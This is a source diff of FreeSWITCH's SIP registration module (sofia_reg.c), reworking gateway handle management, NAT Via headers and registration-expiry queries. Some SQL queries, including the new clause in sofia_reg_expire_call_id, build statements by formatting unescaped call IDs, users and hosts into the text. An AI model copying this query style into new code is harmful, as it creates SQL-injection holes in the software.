+++ freeswitch/branches/seven/src/mod/endpoints/mod_sofia/sofia_reg.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,18 +17,19 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Ken Rice, <krice at cometsig.com>  (work sponsored by Comet Signaling LLC, CopperCom, Inc and Asteria Solutions Group, Inc)
  * Paul D. Tinsley <pdt at jackhammer.org>
  * Bret McDanel <trixter AT 0xdecafbad.com>
  * Marcel Barbulescu <marcelbarbulescu@gmail.com>
  * David Knell <>
+ * Eliot Gable <egable AT.AT broadvox.com>
  *
  *
  * sofia_ref.c -- SOFIA SIP Endpoint (registration code)
@@ -36,31 +37,67 @@
  */
 #include "mod_sofia.h"
 
-static void sofia_reg_kill_reg(sofia_gateway_t *gateway_ptr, int unreg)
+static void sofia_reg_new_handle(sofia_gateway_t *gateway_ptr, int attach)
 {
+	int ss_state = nua_callstate_authenticating;
+
 	if (gateway_ptr->nh) {
-		if (unreg) {
-			nua_unregister(gateway_ptr->nh,
-						   NUTAG_URL(gateway_ptr->register_url),
-						   SIPTAG_FROM_STR(gateway_ptr->register_from),
-						   SIPTAG_TO_STR(gateway_ptr->register_from),
-						   SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
-						   SIPTAG_EXPIRES_STR(gateway_ptr->expires_str),
-						   NUTAG_REGISTRAR(gateway_ptr->register_proxy),
-						   NUTAG_OUTBOUND("no-options-keepalive"), NUTAG_OUTBOUND("no-validate"), NUTAG_KEEPALIVE(0), TAG_NULL());
-		}
 		nua_handle_bind(gateway_ptr->nh, NULL);
 		nua_handle_destroy(gateway_ptr->nh);
 		gateway_ptr->nh = NULL;
+		sofia_private_free(gateway_ptr->sofia_private);
 	}
 
+	gateway_ptr->nh = nua_handle(gateway_ptr->profile->nua, NULL,
+								 SIPTAG_CALL_ID_STR(gateway_ptr->uuid_str),
+								 SIPTAG_TO_STR(gateway_ptr->register_to),
+								 NUTAG_CALLSTATE_REF(ss_state), SIPTAG_FROM_STR(gateway_ptr->register_from), TAG_END());
+	if (attach) {
+		if (!gateway_ptr->sofia_private) {
+			gateway_ptr->sofia_private = malloc(sizeof(*gateway_ptr->sofia_private));
+			switch_assert(gateway_ptr->sofia_private);
+		}
+		memset(gateway_ptr->sofia_private, 0, sizeof(*gateway_ptr->sofia_private));
+	
+		gateway_ptr->sofia_private->gateway = gateway_ptr;
+		nua_handle_bind(gateway_ptr->nh, gateway_ptr->sofia_private);
+	}
 }
 
+static void sofia_reg_kill_reg(sofia_gateway_t *gateway_ptr)
+{
+
+	if (gateway_ptr->state != REG_STATE_REGED) {
+		if (gateway_ptr->nh) {
+			nua_handle_destroy(gateway_ptr->nh);
+			gateway_ptr->nh = NULL;
+		}
+		return;
+	}
+	
+	/*
+	if (!gateway_ptr->nh) {
+		sofia_reg_new_handle(gateway_ptr, SWITCH_FALSE);
+	}
+	*/
+
+	if (gateway_ptr->nh) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "UN-Registering %s\n", gateway_ptr->name);
+		nua_unregister(gateway_ptr->nh,
+					   NUTAG_URL(gateway_ptr->register_url),
+					   NUTAG_REGISTRAR(gateway_ptr->register_proxy), 
+					   TAG_END());
+	}
+	
+
+
+}
+
 static void sofia_reg_fire_custom_gateway_state_event(sofia_gateway_t *gateway) {
 	switch_event_t *s_event;
 	if (switch_event_create_subclass(&s_event, SWITCH_EVENT_CUSTOM, MY_EVENT_GATEWAY_STATE) == SWITCH_STATUS_SUCCESS) {
-		switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "Gateway", "%s", gateway->name);
-		switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "State", "%s", sofia_state_string(gateway->state));
+		switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "Gateway", gateway->name);
+		switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "State", sofia_state_string(gateway->state));
 		switch_event_fire(&s_event);
 	}
 }
@@ -69,11 +106,15 @@
 {
 	sofia_gateway_t *gateway_ptr;
 	for (gateway_ptr = profile->gateways; gateway_ptr; gateway_ptr = gateway_ptr->next) {
+
 		if (gateway_ptr->sofia_private) {
-			free(gateway_ptr->sofia_private);
-			gateway_ptr->sofia_private = NULL;
+			sofia_private_free(gateway_ptr->sofia_private);
 		}
-		sofia_reg_kill_reg(gateway_ptr, 1);
+
+		if (gateway_ptr->state == REG_STATE_REGED) {
+			sofia_reg_kill_reg(gateway_ptr);
+		}
+
 	}
 }
 
@@ -92,12 +133,17 @@
 		for (gw_sub_ptr = gateway_ptr->subscriptions; gw_sub_ptr; gw_sub_ptr = gw_sub_ptr->next) {
 			int ss_state = nua_callstate_authenticating;
 			sub_state_t ostate = gw_sub_ptr->state;
+			char *user_via = NULL;
 			
 			if (!now) {
 				gw_sub_ptr->state = ostate = SUB_STATE_UNSUBED;
 				gw_sub_ptr->expires_str = "0";
 			}
-			
+
+			if (sofia_glue_check_nat(gateway_ptr->profile, gateway_ptr->register_proxy)) {
+				user_via = sofia_glue_create_external_via(NULL, gateway_ptr->profile, gateway_ptr->register_transport);
+			}
+
 			switch (ostate) {
 			case SUB_STATE_NOSUB:
 				break;
@@ -107,56 +153,59 @@
 				break;
 			case SUB_STATE_UNSUBSCRIBE:
 				gw_sub_ptr->state = SUB_STATE_NOSUB;
-				
+
 				/* not tested .. */
 				nua_unsubscribe(gateway_ptr->nh,
-						NUTAG_URL(gateway_ptr->register_url),
-						SIPTAG_EVENT_STR(gw_sub_ptr->event),
-						SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type),
-						SIPTAG_TO_STR(gateway_ptr->register_from),
-						SIPTAG_FROM_STR(gateway_ptr->register_from),
-						SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
-						TAG_NULL());
+								NUTAG_URL(gateway_ptr->register_url),
+								TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
+								SIPTAG_EVENT_STR(gw_sub_ptr->event),
+								SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type),
+								SIPTAG_TO_STR(gateway_ptr->register_from),
+								SIPTAG_FROM_STR(gateway_ptr->register_from),
+								SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
+								TAG_NULL());
 				
 				break;
 			case SUB_STATE_UNSUBED:
-				if ((gateway_ptr->nh = nua_handle(gateway_ptr->profile->nua, NULL,
-												  NUTAG_URL(gateway_ptr->register_proxy),
-												  SIPTAG_TO_STR(gateway_ptr->register_to),
-												  NUTAG_CALLSTATE_REF(ss_state), 
-												  SIPTAG_FROM_STR(gateway_ptr->register_from), TAG_END()))) {
-					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "subscribing to [%s] on gateway [%s]\n", gw_sub_ptr->event, gateway_ptr->name);
-				}
+				gateway_ptr->sub_nh = nua_handle(gateway_ptr->profile->nua, NULL,
+												 NUTAG_URL(gateway_ptr->register_proxy),
+												 TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
+												 SIPTAG_TO_STR(gateway_ptr->register_to),
+												 NUTAG_CALLSTATE_REF(ss_state), 
+												 SIPTAG_FROM_STR(gateway_ptr->register_from), TAG_END());
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "subscribing to [%s] on gateway [%s]\n", gw_sub_ptr->event, gateway_ptr->name);
 				
 				gateway_ptr->sofia_private = malloc(sizeof(*gateway_ptr->sofia_private));
 				switch_assert(gateway_ptr->sofia_private);
-
+				
 				memset(gateway_ptr->sofia_private, 0, sizeof(*gateway_ptr->sofia_private));
 
 				gateway_ptr->sofia_private->gateway = gateway_ptr;
 				nua_handle_bind(gateway_ptr->nh, gateway_ptr->sofia_private);
 
 				if (now) {
-					nua_subscribe(gateway_ptr->nh,
-							NUTAG_URL(gateway_ptr->register_url),
-							SIPTAG_EVENT_STR(gw_sub_ptr->event),
-							SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type),  
-							SIPTAG_TO_STR(gateway_ptr->register_from),
-							SIPTAG_FROM_STR(gateway_ptr->register_from),
-							SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
-							SIPTAG_EXPIRES_STR(gw_sub_ptr->expires_str),  // sofia stack bases its auto-refresh stuff on this
-							TAG_NULL());
+					nua_subscribe(gateway_ptr->sub_nh,
+								  NUTAG_URL(gateway_ptr->register_url),
+								  TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
+								  SIPTAG_EVENT_STR(gw_sub_ptr->event),
+								  SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type),  
+								  SIPTAG_TO_STR(gateway_ptr->register_from),
+								  SIPTAG_FROM_STR(gateway_ptr->register_from),
+								  SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
+								  SIPTAG_EXPIRES_STR(gw_sub_ptr->expires_str),  // sofia stack bases its auto-refresh stuff on this
+								  TAG_NULL());
 					gw_sub_ptr->retry = now + gw_sub_ptr->retry_seconds;
 				} else {
-					nua_unsubscribe(gateway_ptr->nh,
-							NUTAG_URL(gateway_ptr->register_url),
-							SIPTAG_EVENT_STR(gw_sub_ptr->event),
-							SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type),
-							SIPTAG_FROM_STR(gateway_ptr->register_from),
-							SIPTAG_TO_STR(gateway_ptr->register_from),
-							SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
-							SIPTAG_EXPIRES_STR(gw_sub_ptr->expires_str),
-							TAG_NULL());
+					nua_unsubscribe(gateway_ptr->sub_nh,
+									NUTAG_URL(gateway_ptr->register_url),
+									TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
+									SIPTAG_EVENT_STR(gw_sub_ptr->event),
+									SIPTAG_ACCEPT_STR(gw_sub_ptr->content_type),
+									SIPTAG_FROM_STR(gateway_ptr->register_from),
+									SIPTAG_TO_STR(gateway_ptr->register_from),
+									SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
+									SIPTAG_EXPIRES_STR(gw_sub_ptr->expires_str),
+									TAG_NULL());
 				}
 				gw_sub_ptr->state = SUB_STATE_TRYING;
 				break;
@@ -174,6 +223,7 @@
 				}
 				break;
 			}
+			switch_safe_free(user_via);
 		}
 	}
 }
@@ -194,36 +244,54 @@
 			switch_core_hash_delete(mod_sofia_globals.gateway_hash, gateway_ptr->register_from);
 			switch_core_hash_delete(mod_sofia_globals.gateway_hash, gateway_ptr->register_contact);
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Deleted gateway %s\n", gateway_ptr->name);
-			if (gateway_ptr->vars) {
-				switch_event_destroy(&gateway_ptr->vars);
+			if (gateway_ptr->ob_vars) {
+				switch_event_destroy(&gateway_ptr->ob_vars);
 			}
+			if (gateway_ptr->ib_vars) {
+				switch_event_destroy(&gateway_ptr->ib_vars);
+			}
 		} else {
 			last = gateway_ptr;
 		}
 	}
 
 	for (gateway_ptr = profile->gateways; gateway_ptr; gateway_ptr = gateway_ptr->next) {
-		int ss_state = nua_callstate_authenticating;
 		reg_state_t ostate = gateway_ptr->state;
+		char *user_via = NULL;
 
 		if (!now) {
 			gateway_ptr->state = ostate = REG_STATE_UNREGED;
 			gateway_ptr->expires_str = "0";
 		}
 
-		if (gateway_ptr->ping && !gateway_ptr->pinging && (now >= gateway_ptr->ping && (ostate == REG_STATE_NOREG || ostate == REG_STATE_REGED))) {
-			nua_handle_t *nh = nua_handle(profile->nua, NULL, NUTAG_URL(gateway_ptr->register_url), SIPTAG_CONTACT_STR(profile->url), TAG_END());
+		if (gateway_ptr->ping && !gateway_ptr->pinging && (now >= gateway_ptr->ping && (ostate == REG_STATE_NOREG || ostate == REG_STATE_REGED)) &&
+			!gateway_ptr->deleted) {
+			nua_handle_t *nh = nua_handle(profile->nua, NULL, NUTAG_URL(gateway_ptr->register_url), TAG_END());
 			sofia_private_t *pvt;
 
+			if (sofia_glue_check_nat(gateway_ptr->profile, gateway_ptr->register_proxy)) {
+				user_via = sofia_glue_create_external_via(NULL, gateway_ptr->profile, gateway_ptr->register_transport);
+			}
+
 			pvt = malloc(sizeof(*pvt));
 			switch_assert(pvt);
 			memset(pvt, 0, sizeof(*pvt));
 			pvt->destroy_nh = 1;
+			pvt->destroy_me = 1;
 			switch_copy_string(pvt->gateway_name, gateway_ptr->name, sizeof(pvt->gateway_name));
 			nua_handle_bind(nh, pvt);
 
 			gateway_ptr->pinging = 1;
-			nua_options(nh, TAG_END());
+			nua_options(nh, 
+						TAG_IF(gateway_ptr->register_sticky_proxy, NUTAG_PROXY(gateway_ptr->register_sticky_proxy)),
+						TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
+						SIPTAG_TO_STR(gateway_ptr->register_from),
+						SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
+						SIPTAG_FROM_STR(gateway_ptr->register_from),
+						TAG_END());
+
+			switch_safe_free(user_via);
+			user_via = NULL;
 		}
 
 		switch (ostate) {
@@ -250,64 +318,52 @@
 			break;
 
 		case REG_STATE_UNREGISTER:
-			sofia_reg_kill_reg(gateway_ptr, 1);
+			sofia_reg_kill_reg(gateway_ptr);
 			gateway_ptr->state = REG_STATE_NOREG;
 			break;
 		case REG_STATE_UNREGED:
 			gateway_ptr->status = SOFIA_GATEWAY_DOWN;
-			sofia_reg_kill_reg(gateway_ptr, 0);
-			
-			if ((gateway_ptr->nh = nua_handle(gateway_ptr->profile->nua, NULL,
-											  SIPTAG_CALL_ID_STR(gateway_ptr->uuid_str),
-											  NUTAG_URL(gateway_ptr->register_proxy),
-											  SIPTAG_TO_STR(gateway_ptr->register_to),
-											  NUTAG_CALLSTATE_REF(ss_state), SIPTAG_FROM_STR(gateway_ptr->register_from), TAG_END()))) {
-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Registering %s\n", gateway_ptr->name);
 
-				if (!gateway_ptr->sofia_private) {
-					gateway_ptr->sofia_private = malloc(sizeof(*gateway_ptr->sofia_private));
-					switch_assert(gateway_ptr->sofia_private);
-				}
-				memset(gateway_ptr->sofia_private, 0, sizeof(*gateway_ptr->sofia_private));
+			if (!gateway_ptr->nh) sofia_reg_new_handle(gateway_ptr, now ? 1 : 0);
 
-				gateway_ptr->sofia_private->gateway = gateway_ptr;
-				nua_handle_bind(gateway_ptr->nh, gateway_ptr->sofia_private);
+			if (sofia_glue_check_nat(gateway_ptr->profile, gateway_ptr->register_proxy)) {
+				user_via = sofia_glue_create_external_via(NULL, gateway_ptr->profile, gateway_ptr->register_transport);
+			}
 
-				if (now) {
-					nua_register(gateway_ptr->nh,
-								 NUTAG_URL(gateway_ptr->register_url),
-								 TAG_IF(gateway_ptr->register_sticky_proxy, NUTAG_PROXY(gateway_ptr->register_sticky_proxy)),
-								 SIPTAG_TO_STR(gateway_ptr->register_from),
-								 SIPTAG_FROM_STR(gateway_ptr->register_from),
-								 SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
-								 SIPTAG_EXPIRES_STR(gateway_ptr->expires_str),
-								 NUTAG_REGISTRAR(gateway_ptr->register_proxy),
-								 NUTAG_OUTBOUND("no-options-keepalive"), NUTAG_OUTBOUND("no-validate"), NUTAG_KEEPALIVE(0), TAG_NULL());
-					gateway_ptr->retry = now + gateway_ptr->retry_seconds;
-				} else {
-					nua_unregister(gateway_ptr->nh,
-								   NUTAG_URL(gateway_ptr->register_url),
-								   SIPTAG_FROM_STR(gateway_ptr->register_from),
-								   SIPTAG_TO_STR(gateway_ptr->register_from),
-								   SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
-								   SIPTAG_EXPIRES_STR(gateway_ptr->expires_str),
-								   NUTAG_REGISTRAR(gateway_ptr->register_proxy),
-								   NUTAG_OUTBOUND("no-options-keepalive"), NUTAG_OUTBOUND("no-validate"), NUTAG_KEEPALIVE(0), TAG_NULL());
-				}
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Registering %s\n", gateway_ptr->name);
+			
+			if (now) {
+				nua_register(gateway_ptr->nh,
+							 NUTAG_URL(gateway_ptr->register_url),
+							 TAG_IF(gateway_ptr->register_sticky_proxy, NUTAG_PROXY(gateway_ptr->register_sticky_proxy)),
+							 TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
+							 SIPTAG_TO_STR(gateway_ptr->register_from),
+							 SIPTAG_CONTACT_STR(gateway_ptr->register_contact),
+							 SIPTAG_FROM_STR(gateway_ptr->register_from),					 
+							 SIPTAG_EXPIRES_STR(gateway_ptr->expires_str),
+							 NUTAG_REGISTRAR(gateway_ptr->register_proxy),
+							 NUTAG_OUTBOUND("no-options-keepalive"), NUTAG_OUTBOUND("no-validate"), NUTAG_KEEPALIVE(0), TAG_NULL());
 				gateway_ptr->retry = now + gateway_ptr->retry_seconds;
-				gateway_ptr->state = REG_STATE_TRYING;
-
 			} else {
-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error registering %s failure #%d\n", gateway_ptr->name, ++gateway_ptr->failures);
-				gateway_ptr->state = REG_STATE_FAILED;
+				nua_unregister(gateway_ptr->nh,
+							   NUTAG_URL(gateway_ptr->register_url),
+							   TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
+							   SIPTAG_FROM_STR(gateway_ptr->register_from),
+							   SIPTAG_TO_STR(gateway_ptr->register_from),
+							   SIPTAG_EXPIRES_STR(gateway_ptr->expires_str),
+							   NUTAG_REGISTRAR(gateway_ptr->register_proxy),
+							   NUTAG_OUTBOUND("no-options-keepalive"), NUTAG_OUTBOUND("no-validate"), NUTAG_KEEPALIVE(0), TAG_NULL());
 			}
+			gateway_ptr->retry = now + gateway_ptr->retry_seconds;
+			gateway_ptr->state = REG_STATE_TRYING;			
+			switch_safe_free(user_via);
+			user_via = NULL;
 			break;
 
 		case REG_STATE_FAILED:
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "%s Failed Registration, setting retry to %d seconds.\n", 
 								  gateway_ptr->name, gateway_ptr->retry_seconds * (gateway_ptr->failures + 1));
 			gateway_ptr->retry =  now + (gateway_ptr->retry_seconds * (gateway_ptr->failures + 1));
-			sofia_reg_kill_reg(gateway_ptr, 0);
 			gateway_ptr->status = SOFIA_GATEWAY_DOWN;
 			gateway_ptr->state = REG_STATE_FAIL_WAIT;
 			break;
@@ -347,17 +403,21 @@
 {
 	sofia_profile_t *profile = (sofia_profile_t *) pArg;
 	nua_handle_t *nh;
-	char *contact = NULL;
 	char to[128] = "";
+	sofia_destination_t *dst = NULL;
 
 	switch_snprintf(to, sizeof(to), "sip:%s@%s", argv[1], argv[2]);
-	contact = sofia_glue_get_url_from_contact(argv[3], 1);
+	dst = sofia_glue_get_destination(argv[3]);
+	switch_assert(dst);
 
-	nh = nua_handle(profile->nua, NULL, SIPTAG_FROM_STR(profile->url), SIPTAG_TO_STR(to), NUTAG_URL(contact), SIPTAG_CONTACT_STR(profile->url), TAG_END());
+	nh = nua_handle(profile->nua, NULL, SIPTAG_FROM_STR(profile->url), SIPTAG_TO_STR(to), NUTAG_URL(dst->contact), SIPTAG_CONTACT_STR(profile->url), TAG_END());
 	nua_handle_bind(nh, &mod_sofia_globals.destroy_private);
-	nua_options(nh, TAG_END());
+	nua_options(nh, 
+				TAG_IF(dst->route_uri, NUTAG_PROXY(dst->route_uri)),
+				TAG_IF(dst->route, SIPTAG_ROUTE_STR(dst->route)),
+				TAG_END());
 
-	switch_safe_free(contact);
+	sofia_glue_free_destination(dst);
 
 	return 0;
 }
@@ -376,11 +436,13 @@
 	return 0;
 }
 
-void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent)
+void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent, const char *network_ip)
 {
 	const char *event = "check-sync";
 	nua_handle_t *nh;
 	char *contact_url = NULL;
+	char *contact_str = NULL;
+	char *user_via = NULL;
 	char *id = NULL;
 
 	if (switch_stristr("snom", user_agent)) {
@@ -391,21 +453,52 @@
 
 	if ((contact_url = sofia_glue_get_url_from_contact((char *)contact, 1))) {
 		char *p;
-		id = switch_mprintf("sip:%s@%s", user, host);
+		id = switch_mprintf("sip:%s@%s", user, network_ip);
 
 		if ((p = strstr(contact_url, ";fs_"))) {
 			*p = '\0';
 		}
+		if (sofia_glue_check_nat(profile, network_ip)) {
+			char *ptr = NULL;
+			const char *transport_str = NULL;
+			
+			if ((ptr = sofia_glue_find_parameter(contact_url, "transport="))) {
+				sofia_transport_t transport = sofia_glue_str2transport(ptr);
+				transport_str = sofia_glue_transport2str(transport);
+				
+				switch (transport) {
+				case SOFIA_TRANSPORT_TCP:
+					contact_str = profile->tcp_public_contact;
+					break;
+				case SOFIA_TRANSPORT_TCP_TLS:
+					contact_str = profile->tls_public_contact;
+					break;
+				default:
+					contact_str = profile->public_url;
+					break;
+				}
+				
+				user_via = sofia_glue_create_external_via(NULL, profile, transport);
+			} else {
+				user_via = sofia_glue_create_external_via(NULL, profile, SOFIA_TRANSPORT_UDP);
+				contact_str = profile->public_url;
+			}
 		
+		} else {
+			contact_str = profile->url;
+		}
+
 		nh = nua_handle(profile->nua, NULL, 
 						NUTAG_URL(contact_url), 
 						SIPTAG_FROM_STR(id), 
 						SIPTAG_TO_STR(id), 
-						SIPTAG_CONTACT_STR(profile->url), 
+						SIPTAG_CONTACT_STR(contact_str), 
 						TAG_END());
 
+		nua_handle_bind(nh, &mod_sofia_globals.destroy_private);
 		nua_notify(nh,
 				   NUTAG_NEWSUB(1),
+				   TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
 				   SIPTAG_EVENT_STR(event), 
 				   SIPTAG_CONTENT_TYPE_STR("application/simple-message-summary"),
 				   SIPTAG_PAYLOAD_STR(""),
@@ -415,22 +508,34 @@
 		free(contact_url);
 	}
 
+	switch_safe_free(user_via);
 	switch_safe_free(id);
 }
 
+int sofia_sla_dialog_del_callback(void *pArg, int argc, char **argv, char **columnNames)
+{
+	sofia_profile_t *profile = (sofia_profile_t *) pArg;
+	nua_handle_t *nh = NULL;
 
+	if ((nh = nua_handle_by_call_id(profile->nua, argv[0]))) {
+		nua_handle_destroy(nh);
+	}
+	
+	return 0;
+}
+
 int sofia_reg_del_callback(void *pArg, int argc, char **argv, char **columnNames)
 {
 	switch_event_t *s_event;
 	sofia_profile_t *profile = (sofia_profile_t *) pArg;
 	
-	if (argc > 11 && atoi(argv[11]) == 1) {
-		sofia_reg_send_reboot(profile, argv[1], argv[2], argv[3], argv[7]);
+	if (argc > 12 && atoi(argv[12]) == 1) {
+		sofia_reg_send_reboot(profile, argv[1], argv[2], argv[3], argv[7], argv[11]);
 	}
 
 	if (argc >= 3) {
 		if (switch_event_create_subclass(&s_event, SWITCH_EVENT_CUSTOM, MY_EVENT_EXPIRE) == SWITCH_STATUS_SUCCESS) {
-			switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "profile-name", argv[8]);
+			switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "profile-name", argv[10]);
 			switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "call-id", argv[0]);
 			switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "user", argv[1]);
 			switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "host", argv[2]);
@@ -446,23 +551,34 @@
 void sofia_reg_expire_call_id(sofia_profile_t *profile, const char *call_id, int reboot)
 {
 	char sql[1024];
+	char sqlextra[1024] = "";
 	char *psql = sql;
-	char *user = strdup(call_id);
-	char *host = NULL;
+	char *dup = strdup(call_id);
+	char *host = NULL, *user = NULL;
 
-	switch_assert(user);
+	switch_assert(dup);
 
-	if ((host = strchr(user, '@'))) {
+	if ((host = strchr(dup, '@'))) {
 		*host++ = '\0';
+		user = dup;
+	} else {
+		host = dup;
 	}
-	
+
 	if (!host) {
 		host = "none";
 	}
 
-	switch_snprintf(sql, sizeof(sql), "select call_id,sip_user,sip_host,contact,status,rpid,expires,user_agent,server_user,server_host,profile_name"
-					",%d from sip_registrations where call_id='%s' or (sip_user='%s' and sip_host='%s')", 
-					reboot, call_id, user, host);
+	if (switch_strlen_zero(user)) {
+		switch_snprintf(sqlextra, sizeof(sqlextra), " or (sip_host='%s')", host);
+	} else {
+		switch_snprintf(sqlextra, sizeof(sqlextra), " or (sip_user='%s' and sip_host='%s')", user, host);
+	}
+
+	switch_snprintf(sql, sizeof(sql), "select call_id,sip_user,sip_host,contact,status,rpid,expires"
+					",user_agent,server_user,server_host,profile_name,network_ip"
+					",%d from sip_registrations where call_id='%s' %s", 
+					reboot, call_id, sqlextra);
 	
 	switch_mutex_lock(profile->ireg_mutex);
 	sofia_glue_execute_sql_callback(profile, SWITCH_TRUE, NULL, sql, sofia_reg_del_callback, profile);
@@ -472,7 +588,7 @@
 					call_id, user, host);
 	sofia_glue_execute_sql(profile, &psql, SWITCH_FALSE);
 
-	switch_safe_free(user);
+	switch_safe_free(dup);
 
 }
 
@@ -480,30 +596,27 @@
 {
 	char sql[1024];
 
-#ifdef SWITCH_HAVE_ODBC
-	if (profile->odbc_dsn) {
+	if (switch_odbc_available() && profile->odbc_dsn) {
 		if (!profile->master_odbc) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB %s\n", profile->dbname);
 			return;
 		}
 	} else {
-#endif
 		if (!profile->master_db) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB %s\n", profile->dbname);
 			return;
 		}
-#ifdef SWITCH_HAVE_ODBC
 	}
-#endif
 
-
 	switch_mutex_lock(profile->ireg_mutex);
 
 	if (now) {
-		switch_snprintf(sql, sizeof(sql), "select call_id,sip_user,sip_host,contact,status,rpid,expires,user_agent,server_user,server_host,profile_name"
+		switch_snprintf(sql, sizeof(sql), "select call_id,sip_user,sip_host,contact,status,rpid,expires"
+						",user_agent,server_user,server_host,profile_name,network_ip"
 						",%d from sip_registrations where expires > 0 and expires <= %ld", reboot, (long) now);
 	} else {
-		switch_snprintf(sql, sizeof(sql), "select call_id,sip_user,sip_host,contact,status,rpid,expires,user_agent,server_user,server_host,profile_name"
+		switch_snprintf(sql, sizeof(sql), "select call_id,sip_user,sip_host,contact,status,rpid,expires"
+						",user_agent,server_user,server_host,profile_name,network_ip"
 						",%d from sip_registrations where expires > 0", reboot);
 	}
 
@@ -518,7 +631,22 @@
 	sofia_glue_actually_execute_sql(profile, SWITCH_FALSE, sql, NULL);
 
 
+
 	if (now) {
+		switch_snprintf(sql, sizeof(sql), "select call_id from sip_shared_appearance_dialogs where hostname='%s' "
+						"and profile_name='%s' and expires <= %ld", 
+						mod_sofia_globals.hostname, profile->name, (long) now);
+	
+		sofia_glue_execute_sql_callback(profile, SWITCH_TRUE, NULL, sql, sofia_sla_dialog_del_callback, profile);
+		switch_snprintf(sql, sizeof(sql), "delete from sip_registrations where expires > 0 and hostname='%s' and expires <= %ld", 
+						mod_sofia_globals.hostname, (long) now);
+
+
+		sofia_glue_actually_execute_sql(profile, SWITCH_FALSE, sql, NULL);
+	}
+
+
+	if (now) {
 		switch_snprintf(sql, sizeof(sql), "delete from sip_presence where expires > 0 and expires <= %ld and hostname='%s'", 
 						(long) now, mod_sofia_globals.hostname);
 	} else {
@@ -557,9 +685,12 @@
 	sofia_glue_actually_execute_sql(profile, SWITCH_FALSE, sql, NULL);
 
 
-	if (now) {
-		switch_snprintf(sql, sizeof(sql), "select call_id,sip_user,sip_host,contact,status,rpid,expires,user_agent,server_user,server_host,profile_name"
-						" from sip_registrations where status like '%%AUTO-NAT%%' or status like '%%UDP-NAT%%'");
+	if (now && sofia_test_pflag(profile, PFLAG_NAT_OPTIONS_PING)) {
+		switch_snprintf(sql, sizeof(sql), "select call_id,sip_user,sip_host,contact,status,rpid,"
+						"expires,user_agent,server_user,server_host,profile_name"
+						" from sip_registrations where (status like '%%AUTO-NAT%%' "
+						"or status like '%%UDP-NAT%%') and hostname='%s'", mod_sofia_globals.hostname);
+
 		sofia_glue_execute_sql_callback(profile, SWITCH_TRUE, NULL, sql, sofia_reg_nat_callback, profile);
 	}
 
@@ -609,7 +740,7 @@
 	switch_uuid_format(uuid_str, &uuid);
 
 	sql = switch_mprintf("insert into sip_authentication (nonce,expires,profile_name,hostname) "
-						 "values('%q', %ld, '%q', '%q')", uuid_str, switch_timestamp(NULL) + profile->nonce_ttl, profile->name, mod_sofia_globals.hostname);
+						 "values('%q', %ld, '%q', '%q')", uuid_str, switch_epoch_time_now(NULL) + profile->nonce_ttl, profile->name, mod_sofia_globals.hostname);
 	switch_assert(sql != NULL);
 	sofia_glue_actually_execute_sql(profile, SWITCH_FALSE, sql, profile->ireg_mutex);
 	switch_safe_free(sql);
@@ -645,11 +776,12 @@
 	uint8_t multi_reg = 0, multi_reg_contact = 0, avoid_multi_reg = 0;
 	uint8_t stale = 0, forbidden = 0;
 	auth_res_t auth_res;
-	long exptime = 60;
+	long exptime = 300;
 	switch_event_t *event;
 	const char *rpid = "unknown";
